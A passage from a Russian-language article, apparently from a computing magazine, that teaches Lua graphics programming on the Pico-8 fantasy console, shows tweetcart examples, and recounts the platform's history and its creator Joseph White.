cicrfill(x,y,3,8) ‐‐ 3 — это радиус, 8 — цвет

end

Что это за магичес кое чис ло 8? Pico‐8 име ет шес тнад цатиц ветный экран, то
есть  никаким  RGB  и  тем  более  RGBA  здесь  и  не  пах нет.  Каж дому  чис лу
от 0 до 15 соот ветс тву ет цвет, нап ример 8 — крас ный.

Од на точ ка хорошо, а десять луч ше! Давай добавим еще:

‐‐ в _init()
cnt=10
‐‐ в _draw()
cls()
for i=1,cnt do
local a=t+i/cnt ‐‐ угол зависит от времени и i
local d=32+sin(t+i%2*0.5)*20 ‐‐ пусть радиус будет меняться
local x=cos(a)*d+64
local y=sin(a)*d+64
circfill(x,y,3,8+i%2) ‐‐ добавим чуть‐чуть больше цветов

end

Что  за  зна ки  про цен та,  спро сишь  ты?  Опе ратор    воз вра щает  оста ток
от деления. Нап ример   =  .

%
4%2 0

Уже неп лохо, так ведь? Что бы не выг лядело так монотон но, будем вра щать
крас ные точ ки в одну сто рону, а жел тые — в дру гую.

local m=(i%2==0 and 1 or ‐1)
local a=(t+i/cnt)*m

И  все‐таки  точ ки  не  выг лядят  так  эффек тно,  как  мно гоуголь ники.  Pico‐
8 рисовать их не уме ет, но это и не  так слож но испра вить. Давай соз дадим
фун кцию  ,  которая  будет  при нимать  коор динаты  фигуры,  количес тво
сто рон, ради ус, угол поворо та и цвет:

shp()

function shp(x,y,cn,r,a,c)
color(c)
for i=1,cn do
 local an=a+i/cn ‐‐ угол сейчас
 local oan=a+i/cn‐1/cn ‐‐ угол, который был при прошлой вершине
 line(cos(an)*r+x,sin(an)*r+y,
  cos(oan)*r+x,sin(oan)*r+y)
 ‐‐ и уже известный нам способ вращения точки
 ‐‐ функция line(x1,y1,x2,y2,c) рисует линию из точки (x1;y2) в 

точку
 ‐‐ (x2;y2) с цветом c
end

end
‐‐ в _draw()
‐‐ заменим вызов circ() на нашу функцию:
shp(x,y,6‐i%2*2,16,t+i/cnt,8+i%2)
‐‐ количество граней зависит от делимости i
‐‐ ну и добавим чуть‐чуть декора:
local ox,oy=calc((i/cnt+t*2)*m,8)
circ(x+ox,y+oy,4,9+i%2)
‐‐ этот круг будет показывать угол вращения фигуры

Кра сота!  Наде юсь,  тебе  тоже  пон равит ся.  Как  видишь,  было  нес ложно.  Вот
пол ная  вер сия  кода,  слег ка  опти мизи рован ная  и  дорабо тан ная.  Я  так же
добавил  нем ного  дру гих  эффектов,  но  они  очень  прос тые,  можешь  сам
догадать ся, как они работа ют. ;‐)

function _init()
t=0
cnt=10

end
function _update()
t+=0.01

end
function _draw()
cls()
for i=1,cnt do
 local m=(i%2==0 and ‐1 or 1)
 local a=(i/cnt+t)*m
 local d=32+sin(t+i%2*0.5)*20
 local x,y=calc(a,d)
 x+=64
 y+=64
 shp(x,y,6‐i%2*2,16,t+i/cnt,8+i%2)
 local ox,oy=calc((i/cnt+t*2)*m,8)
 circ(x+ox,y+oy,4,9+i%2)
end

end
function calc(a,d)
return cos(a)*d,sin(a)*d

end
function shp(x,y,cn,r,a,c)
color(c)
for i=1,cn do
 local an=a+i/cn
 local oan=a+i/cn‐1/cn
 line(cos(an)*r+x,sin(an)*r+y,
  cos(oan)*r+x,sin(oan)*r+y)
end

end

TWEET JAM
В  комь юни ти  Pico‐8  сущес тву ет  инте рес ный фор мат  для  соз дания  кар трид‐ 
жей —  tweet  jam.  По  сути,  код  кар трид жа  дол жен  умес тить ся  в  280  зна ков
(лимит твит тера, за вычетом тегов #tweetjam и #tweetcart, с которы ми обыч но
пос тится  код).  Поверь мне,  в  эти  трис та  зна ков мож но  умес тить  нас тоящие
про изве дения искусс тва! Вот нес коль ко при меров.

.На писа на мной

poke(0x5f2c,7)t=0pat={1,2,4,8,9,10,15,7}cls()function _draw()camera()
for i=1,500 do circ(rnd(64),rnd(64),1,0)end camera(‐64,‐64)t+=0.001
for i=1,130 do a=t+i/5000 x=sin(33*a)*cos(9*a)*64 y=sin(40*a)*sin(7*a
)*64 circfill(x,y,3,pat[mid(0,#pat,flr(i/20))+1])end end

На писа на  .@guerragames

t=0 ::_:: t+=.001
cls(7) for p=0,1,.0005 do d=.7*p a=d*cos(p*t*8+t*10)+p*sin(t*10)‐t*10
r=p*128 x=r*cos(a) y=r*sin(a) circfill(x+64,y+64,1+.9*sin(p*t+a*t*6),
0) end flip() goto _

На писа на  .@SeanSLeBlanc

for i=1,16 do pal(i‐1,sub("01289821",i/2,i/2),1)
end cls() ::q:: z=t()/3 y=64 x=64 
for i=0,128,.05 do x+=cos(i/30+z*2)*i/128 y+=sin(i/30+z*2)*i/128 circ
(x,y,1,i*(1+sin(i/128+z)/2)*2) end flip() goto q

ИСТОРИЯ PICO-8
Соз датель  Pico‐8 — Джо зеф  Уайт,  извес тный  так же  по  псев дониму  zep. Он
родил ся  в  Новой  Зелан дии  и  затем  пере ехал  жить  в  Япо нию.  Ког да  Уай та
спра шива ют,  как  появил ся  Pico‐8,  он  обыч но  начина ет  рас сказ  с  того,  что
в  детс тве  он  увле кал ся  прог рамми рова нием  на  компь юте ре  BBC  Micro,
который его отец купил для работы.

«Было  что‐то  осо бен ное  в  рисова нии  боль шими  кра сивы ми  пик селями
и  печати  прог рамм  на  гро моз дкой  кла виату ре,  что‐то,  что  резони рова ло
с моим вось милет ним моз гом», — рас ска зыва ет Уайт. BBC Micro пос тавлял ся
без соф та, если не счи тать вши того в ПЗУ BASIC, поэто му для каж дого про‐ 
екта Уайт сам соз давал прос тень кие редак торы спрай тов, музыки и уров ней.

До двух тысяч ных годов раз работ ка игр так и оста валась для Уай та хоб би,
а на жизнь он зараба тывал работой в кафе. В 2004 году Уайт написал прог‐ 
рамму Lex500, которая внеш не напоми нала эму лятор Amiga500 и тоже име ла
встро енный интер пре татор BASIC. Затем пос ледовал экспе римент с вок сель‐ 
ной гра фикой, из которо го в 2010 году родил ся про ект Voxatron. Его демонс‐ 
тра ция  на  YouTube  выз вала  живей ший  отклик,  и  Джо зеф  Уайт  отло жил  все
про екты ради того, что бы сос редото чить ся на Voxatron. Пос тепен но он соб‐ 
рал неболь шую коман ду еди номыш ленни ков.

Пред полага лось,  что  Voxatron  будет  не  прос то  игрой,  а  редак тором,
в котором каж дый смо жет делать свои игры и переда вать дру гим. Хорошень‐ 
ко поломав голову, Уайт при думал называть такие игры кар трид жами. Поз же
эта идея переко чует и в Pico‐8.

Собс твен но Pico‐8 родил ся как попыт ка сде лать скрип товый дви жок Voxatron
на осно ве Lex500. Затем воз никла идея исполь зовать Pico для про тоти пиро‐ 
вания  будущей  вок сель ной  игры.  Имен но  так  в  нем  появил ся  свой  набор
редак торов спрай тов и музыки. Кста ти, раз решение 128 на 128 соот ветс тву ет
«сре зу» объ емно го уров ня Voxatron.

Дру гой занят ный факт: Pico‐8 наз ван в честь Pico Pico Cafe — заведе ния,
которое  Джо зеф  и  его  жена  Нацуко  Уайт  откры ли  в  Токио.  Сей час  кафе
по сов мести тель ству ста ло мес том для  тусов ки незави симых раз работ чиков
и офи са  Lexaloffe — фир мы Уай та,  который боль шую  часть  вре мени  прос то
про водит за одним из сто лов.

«Pico‐8  стал  минима лис тичной  дву мер ной  дис тилля цией  Voxatron»,  —
пишет  Уайт.  Пос ледним  штри хом,  который  прев ратил  Pico  в  закон ченную
плат форму, стал интер пре татор язы ка Lua. В пер вых вер сиях BASIC тран сли‐ 
ровал ся в Lua и выпол нялся на ее вир туаль ной машине, но поз же Уайт решил
от него отка зать ся вов се и оста вить толь ко Lua.

«Навер ное, было бы нам ного про ще, если бы я с самого начала спро сил
себя, какой дол жна быть вымыш ленная кон соль. Вмес то это го я про дирал ся
через  лес  рас плыв чатых  идей  и  лишь  потом  понял,  что  то,  что  я  делаю, —
это что‐то вро де прис тавки», — рас ска зыва ет Уайт.

Пос тепен но  вык ристал лизова лось  и  понима ние  более  широко го  кон тек‐ 
ста. Пожалуй,  глав ный урок здесь зак люча ется в  том, что огра ниче ния плат‐ 
формы  неиз менно  вли яют  на  то,  какими  получат ся  игры.  «Точ но  так  же,
как игры для ста рых компь юте ров име ли опре делен ный внеш ний вид и давали
опре делен ные  ощу щения,  —  рас сужда ет  Уайт,  —  плат форма  может  сама
стать объ ектом дизай на и опре делять осо бен ности игр, соз данных на ней».

— Андрей Пись мен ный по мотивам статьи Джо зефа Уай та в Pico‐8 Fanzine

ИТОГ
Для меня Pico‐8 — один из глав ных инс тру мен тов раз работ ки. Кон соль поз‐ 
воля ет мне быс тро воп лотить в жизнь идеи и зас тавля ет меня всег да думать
об опти миза ции. Я очень рекомен дую и активно исполь зую Pico‐8 для игро‐ 
вых дже мов (game jams), она иде аль на для таких ивен тов, как  .Ludum Dare

WWW

•Офи циаль ный сайт
•API
•Твит тер раз работ чика Pico‐8
•Фо рум и кар трид жи
•Tweet Jam

https://neko250.github.io/pico8-api/
http://tylerneylon.com/a/learn-lua/
https://twitter.com/egordorichev/status/973178249256857600
https://twitter.com/guerragames/status/972269517593350144
https://twitter.com/SeanSLeBlanc/status/964501831773716480
https://sectordub.itch.io/pico-8-fanzine-1
http://ldjam.com/
https://www.lexaloffle.com/pico-8.php
https://neko250.github.io/pico8-api/
https://twitter.com/lexaloffle
https://www.lexaloffle.com/bbs/?cat=7#sub=2
https://www.lexaloffle.com/bbs/?pid=24153
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